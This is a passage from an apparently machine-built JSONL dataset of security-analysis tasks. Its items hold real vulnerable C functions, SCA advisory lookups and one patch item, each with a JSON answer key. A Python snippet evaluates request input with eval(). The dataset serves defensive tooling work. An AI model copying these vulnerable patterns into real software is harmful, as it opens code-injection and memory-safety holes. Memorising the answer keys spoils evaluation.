\"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 13\n },\n {\n \"token\": \"head\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 18\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"page\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 25\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 4\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"pgd_access_permitted\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 26\n },\n {\n \"token\": \"orig\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 27\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 31\n },\n {\n \"token\": \"write\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 38\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 39\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 10\n },\n {\n \"token\": \"BUILD_BUG_ON\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 13\n },\n {\n \"token\": \"pgd_devmap\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 14\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk,\n\t\t struct msghdr *msg, size_t len,\n\t\t int noblock, int flags, int *addr_len)\n{\n\tstruct ipv6_pinfo *np = inet6_sk(sk);\n\tstruct inet_sock *inet = inet_sk(sk);\n\tstruct sk_buff *skb;\n\tunsigned int ulen, copied;\n\tint peeked, off = 0;\n\tint err;\n\tint is_udplite = IS_UDPLITE(sk);\n\tint is_udp4;\n\tbool slow;\n\n\tif (addr_len)\n\t\t*addr_len = sizeof(struct sockaddr_in6);\n\n\tif (flags & MSG_ERRQUEUE)\n\t\treturn ipv6_recv_error(sk, msg, len);\n\n\tif (np->rxpmtu && np->rxopt.bits.rxpmtu)\n\t\treturn ipv6_recv_rxpmtu(sk, msg, len);\n\ntry_again:\n\tskb = __skb_recv_datagram(sk, flags | (noblock ? MSG_DONTWAIT : 0),\n\t\t\t\t &peeked, &off, &err);\n\tif (!skb)\n\t\tgoto out;\n\n\tulen = skb->len - sizeof(struct udphdr);\n\tcopied = len;\n\tif (copied > ulen)\n\t\tcopied = ulen;\n\telse if (copied < ulen)\n\t\tmsg->msg_flags |= MSG_TRUNC;\n\n\tis_udp4 = (skb->protocol == htons(ETH_P_IP));\n\n\t/*\n\t * If checksum is needed at all, try to do it while copying the\n\t * data. If the data is truncated, or if we only want a partial\n\t * coverage checksum (UDP-Lite), do it before the copy.\n\t */\n\n\tif (copied < ulen || UDP_SKB_CB(skb)->partial_cov) {\n\t\tif (udp_lib_checksum_complete(skb))\n\t\t\tgoto csum_copy_err;\n\t}\n\n\tif (skb_csum_unnecessary(skb))\n\t\terr = skb_copy_datagram_iovec(skb, sizeof(struct udphdr),\n\t\t\t\t\t msg->msg_iov, copied);\n\telse {\n\t\terr = skb_copy_and_csum_datagram_iovec(skb, sizeof(struct udphdr), msg->msg_iov);\n\t\tif (err == -EINVAL)\n\t\t\tgoto csum_copy_err;\n\t}\n\tif (unlikely(err)) {\n\t\ttrace_kfree_skb(skb, udpv6_recvmsg);\n\t\tif (!peeked) {\n\t\t\tatomic_inc(&sk->sk_drops);\n\t\t\tif (is_udp4)\n\t\t\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\t\t UDP_MIB_INERRORS,\n\t\t\t\t\t\t is_udplite);\n\t\t\telse\n\t\t\t\tUDP6_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\t\t UDP_MIB_INERRORS,\n\t\t\t\t\t\t is_udplite);\n\t\t}\n\t\tgoto out_free;\n\t}\n\tif (!peeked) {\n\t\tif (is_udp4)\n\t\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_INDATAGRAMS, is_udplite);\n\t\telse\n\t\t\tUDP6_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_INDATAGRAMS, is_udplite);\n\t}\n\n\tsock_recv_ts_and_drops(msg, sk, skb);\n\n\t/* Copy the address. */\n\tif (msg->msg_name) {\n\t\tstruct sockaddr_in6 *sin6;\n\n\t\tsin6 = (struct sockaddr_in6 *) msg->msg_name;\n\t\tsin6->sin6_family = AF_INET6;\n\t\tsin6->sin6_port = udp_hdr(skb)->source;\n\t\tsin6->sin6_flowinfo = 0;\n\n\t\tif (is_udp4) {\n\t\t\tipv6_addr_set_v4mapped(ip_hdr(skb)->saddr,\n\t\t\t\t\t &sin6->sin6_addr);\n\t\t\tsin6->sin6_scope_id = 0;\n\t\t} else {\n\t\t\tsin6->sin6_addr = ipv6_hdr(skb)->saddr;\n\t\t\tsin6->sin6_scope_id =\n\t\t\t\tipv6_iface_scope_id(&sin6->sin6_addr,\n\t\t\t\t\t\t IP6CB(skb)->iif);\n\t\t}\n\n\t}\n\tif (is_udp4) {\n\t\tif (inet->cmsg_flags)\n\t\t\tip_cmsg_recv(msg, skb);\n\t} else {\n\t\tif (np->rxopt.all)\n\t\t\tip6_datagram_recv_ctl(sk, msg, skb);\n\t}\n\n\terr = copied;\n\tif (flags & MSG_TRUNC)\n\t\terr = ulen;\n\nout_free:\n\tskb_free_datagram_locked(sk, skb);\nout:\n\treturn err;\n\ncsum_copy_err:\n\tslow = lock_sock_fast(sk);\n\tif (!skb_kill_datagram(sk, skb, flags)) {\n\t\tif (is_udp4) {\n\t\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_CSUMERRORS, is_udplite);\n\t\t\tUDP_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_INERRORS, is_udplite);\n\t\t} else {\n\t\t\tUDP6_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_CSUMERRORS, is_udplite);\n\t\t\tUDP6_INC_STATS_USER(sock_net(sk),\n\t\t\t\t\tUDP_MIB_INERRORS, is_udplite);\n\t\t}\n\t}\n\tunlock_sock_fast(sk, slow);\n\n\tif (noblock)\n\t\treturn -EAGAIN;\n\n\t/* starting over for a new packet */\n\tmsg->msg_flags &= ~MSG_TRUNC;\n\tgoto try_again;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"project\": \"net\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "SQLWCHAR* _single_string_alloc_and_expand( LPCSTR in )\n{\n SQLWCHAR *chr;\n int len = 0;\n \n if ( !in )\n {\n return in;\n }\n \n while ( in[ len ] != 0 )\n {\n len ++;\n }\n\n chr = malloc( sizeof( SQLWCHAR ) * ( len + 1 ));\n\n len = 0;\n while ( in[ len ] != 0 )\n {\n chr[ len ] = in[ len ];\n len ++;\n }\n chr[ len ++ ] = 0;\n\n return chr;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-7485\",\n \"project\": \"unixODBC\",\n \"vulnerable_lines\": [\n 8\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 17\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 9,\n \"col\": 5\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-287", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/0xJacky/Nginx-UI\nInstalled version: <1.9.10-0.20260703131214-23d1934099b0\nSummary: Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-gfrc-g87h-7h5w\",\n \"cve\": \"CVE-2026-84313\",\n \"aliases\": [\n \"CVE-2026-84313\",\n \"GO-2026-6786\"\n ],\n \"cwe\": \"CWE-287\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/0xJacky/Nginx-UI\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.9.10-0.20260703131214-23d1934099b0\",\n \"fixed_version\": \"1.9.10-0.20260703131214-23d1934099b0\",\n \"finding\": \"Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover\",\n \"remediation\": \"Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260703131214-23d1934099b0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: openbabel\nInstalled version: 3.2.0\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"openbabel\",\n \"installed_version\": \"3.2.0\",\n \"note\": \"openbabel 3.2.0 is at or above the fixed version for GHSA-8wq6-qh76-wpv9; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "cmsBool Read8bitTables(cmsContext ContextID, cmsIOHANDLER* io, cmsPipeline* lut, int nChannels)\n{\n cmsStage* mpe;\n cmsUInt8Number* Temp = NULL;\n int i, j;\n cmsToneCurve* Tables[cmsMAXCHANNELS];\n\n if (nChannels > cmsMAXCHANNELS) return FALSE;\n if (nChannels <= 0) return FALSE;\n\n memset(Tables, 0, sizeof(Tables));\n\n Temp = (cmsUInt8Number*) _cmsMalloc(ContextID, 256);\n if (Temp == NULL) return FALSE;\n\n for (i=0; i < nChannels; i++) {\n Tables[i] = cmsBuildTabulatedToneCurve16(ContextID, 256, NULL);\n if (Tables[i] == NULL) goto Error;\n }\n\n for (i=0; i < nChannels; i++) {\n\n if (io ->Read(io, Temp, 256, 1) != 1) goto Error;\n\n for (j=0; j < 256; j++)\n Tables[i]->Table16[j] = (cmsUInt16Number) FROM_8_TO_16(Temp[j]);\n }\n\n _cmsFree(ContextID, Temp);\n Temp = NULL;\n\n\n mpe = cmsStageAllocToneCurves(ContextID, nChannels, Tables);\n if (mpe == NULL) goto Error;\n\n cmsPipelineInsertStage(lut, cmsAT_END, mpe);\n\n for (i=0; i < nChannels; i++)\n cmsFreeToneCurve(Tables[i]);\n\n return TRUE;\n\nError:\n for (i=0; i < nChannels; i++) {\n if (Tables[i]) cmsFreeToneCurve(Tables[i]);\n }\n\n if (Temp) _cmsFree(ContextID, Temp);\n return FALSE;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"Little-CMS\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "item *do_item_get(const char *key, const size_t nkey, const uint32_t hv) {\n //mutex_lock(&cache_lock);\n item *it = assoc_find(key, nkey, hv);\n if (it != NULL) {\n refcount_incr(&it->refcount);\n /* Optimization for slab reassignment. prevents popular items from\n * jamming in busy wait. Can only do this here to satisfy lock order\n * of item_lock, cache_lock, slabs_lock. */\n if (slab_rebalance_signal &&\n ((void *)it >= slab_rebal.slab_start && (void *)it < slab_rebal.slab_end)) {\n do_item_unlink_nolock(it, hv);\n do_item_remove(it);\n it = NULL;\n }\n }\n //mutex_unlock(&cache_lock);\n int was_found = 0;\n\n if (settings.verbose > 2) {\n if (it == NULL) {\n fprintf(stderr, \"> NOT FOUND %s\", key);\n } else {\n fprintf(stderr, \"> FOUND KEY %s\", ITEM_key(it));\n was_found++;\n }\n }\n\n if (it != NULL) {\n if (settings.oldest_live != 0 && settings.oldest_live <= current_time &&\n it->time <= settings.oldest_live) {\n do_item_unlink(it, hv);\n do_item_remove(it);\n it = NULL;\n if (was_found) {\n fprintf(stderr, \" -nuked by flush\");\n }\n } else if (it->exptime != 0 && it->exptime <= current_time) {\n do_item_unlink(it, hv);\n do_item_remove(it);\n it = NULL;\n if (was_found) {\n fprintf(stderr, \" -nuked by expire\");\n }\n } else {\n it->it_flags |= ITEM_FETCHED;\n DEBUG_REFCNT(it, '+');\n }\n }\n\n if (settings.verbose > 2)\n fprintf(stderr, \"\\n\");\n\n return it;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"memcached\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-522", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/containers/image\nInstalled version: <3.0.0\nSummary: containers/image library Insufficiently Protects Credentials", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-85p9-j7c9-v4gr\",\n \"cve\": \"CVE-2019-10214\",\n \"aliases\": [\n \"CVE-2019-10214\",\n \"GO-2021-0081\"\n ],\n \"cwe\": \"CWE-522\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/containers/image\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <3.0.0\",\n \"fixed_version\": \"3.0.0\",\n \"finding\": \"containers/image library Insufficiently Protects Credentials\",\n \"remediation\": \"Upgrade github.com/containers/image to 3.0.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: svelte\nInstalled version: 3.0.0\nSummary: svelte is vulnerable to XSS with textarea bind:value", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-gw32-9rmw-qwww\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"npm\",\n \"package\": \"svelte\",\n \"severity\": \"high\",\n \"affected_versions\": \">=3.0.0, <3.59.2\",\n \"fixed_version\": \"3.59.2\",\n \"finding\": \"svelte is vulnerable to XSS with textarea bind:value\",\n \"remediation\": \"Upgrade svelte to 3.59.2 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-787", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.ChakraCore\nInstalled version: <1.11.13\nSummary: Out-of-bounds write", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-grvw-q343-58wh\",\n \"cve\": \"CVE-2019-1300\",\n \"aliases\": [\n \"CVE-2019-1300\"\n ],\n \"cwe\": \"CWE-787\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.ChakraCore\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.11.13\",\n \"fixed_version\": \"1.11.13\",\n \"finding\": \"Out-of-bounds write\",\n \"remediation\": \"Upgrade Microsoft.ChakraCore to 1.11.13 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-345", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/lf-edge/eve/pkg/grub\nInstalled version: <0.0.0-20220708121648-5fef4d92e758\nSummary: EVE Doesn't Protect Rootfs", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-5h7v-g49c-h887\",\n \"cve\": \"CVE-2023-43636\",\n \"aliases\": [\n \"CVE-2023-43636\",\n \"GO-2026-4435\"\n ],\n \"cwe\": \"CWE-345\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/lf-edge/eve/pkg/grub\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <0.0.0-20220708121648-5fef4d92e758\",\n \"fixed_version\": \"0.0.0-20220708121648-5fef4d92e758\",\n \"finding\": \"EVE Doesn't Protect Rootfs\",\n \"remediation\": \"Upgrade github.com/lf-edge/eve/pkg/grub to 0.0.0-20220708121648-5fef4d92e758 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-94", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this python snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "def calc():\n input = request.form['name']\n return eval(input)\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-94\",\n \"cwe_name\": \"Code Injection\",\n \"title\": \"Code injection via eval\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"return_statement\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"eval\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"input\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 21\n }\n ],\n \"explanation\": \"eval() on untrusted input allows arbitrary Python execution.\",\n \"remediation\": \"Never eval untrusted input; use a safe parser or restricted interpreter.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-119). Produce the patched version and explain the fix. Output JSON.", "input": "static int http_buf_read(URLContext *h, uint8_t *buf, int size)\n{\n HTTPContext *s = h->priv_data;\n int len;\n /* read bytes from input buffer first */\n len = s->buf_end - s->buf_ptr;\n if (len > 0) {\n if (len > size)\n len = size;\n memcpy(buf, s->buf_ptr, len);\n s->buf_ptr += len;\n } else {\n int64_t target_end = s->end_off ? s->end_off : s->filesize;\n if ((!s->willclose || s->chunksize < 0) &&\n target_end >= 0 && s->off >= target_end)\n return AVERROR_EOF;\n len = ffurl_read(s->hd, buf, size);\n if (!len && (!s->willclose || s->chunksize < 0) &&\n target_end >= 0 && s->off < target_end) {\n av_log(h, AV_LOG_ERROR,\n \"Stream ends prematurely at %\"PRId64\", should be %\"PRId64\"\\n\",\n s->off, target_end\n );\n return AVERROR(EIO);\n }\n }\n if (len > 0) {\n s->off += len;\n if (s->chunksize > 0)\n s->chunksize -= len;\n }\n return len;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2016-10190\",\n \"fixed_code\": \"static int http_buf_read(URLContext *h, uint8_t *buf, int size)\\n{\\n HTTPContext *s = h->priv_data;\\n int len;\\n /* read bytes from input buffer first */\\n len = s->buf_end - s->buf_ptr;\\n if (len > 0) {\\n if (len > size)\\n len = size;\\n memcpy(buf, s->buf_ptr, len);\\n s->buf_ptr += len;\\n } else {\\n uint64_t target_end = s->end_off ? s->end_off : s->filesize;\\n if ((!s->willclose || s->chunksize == UINT64_MAX) && s->off >= target_end)\\n return AVERROR_EOF;\\n len = ffurl_read(s->hd, buf, size);\\n if (!len && (!s->willclose || s->chunksize == UINT64_MAX) && s->off < target_end) {\\n av_log(h, AV_LOG_ERROR,\\n \\\"Stream ends prematurely at %\\\"PRIu64\\\", should be %\\\"PRIu64\\\"\\\\n\\\",\\n s->off, target_end\\n );\\n return AVERROR(EIO);\\n }\\n }\\n if (len > 0) {\\n s->off += len;\\n if (s->chunksize > 0)\\n s->chunksize -= len;\\n }\\n return len;\\n}\\n\",\n \"change_summary\": \"http: make length/offset-related variables unsigned.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " void grubfs_free (GrubFS *gf) {\n \tif (gf) {\n\t\tif (gf->file && gf->file->device)\n \t\t\tfree (gf->file->device->disk);\n \t\tfree (gf->file);\n \t\tfree (gf);\n\t}\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-9763\",\n \"project\": \"radare2\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 2,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 5\n },\n {\n \"token\": \"gf\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 6\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 8\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"gf\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"gf\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"device\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"free\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"gf\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"device\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"disk\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \"free\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"gf\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \"file\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 18\n },\n {\n \"token\": \"free\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"gf\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 12\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 7,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " int crypto_rng_reset(struct crypto_rng *tfm, const u8 *seed, unsigned int slen)\n {\n \tu8 *buf = NULL;\n\tint err;\n\n\tif (!seed && slen) {\n\t\tbuf = kmalloc(slen, GFP_KERNEL);\n\t\tif 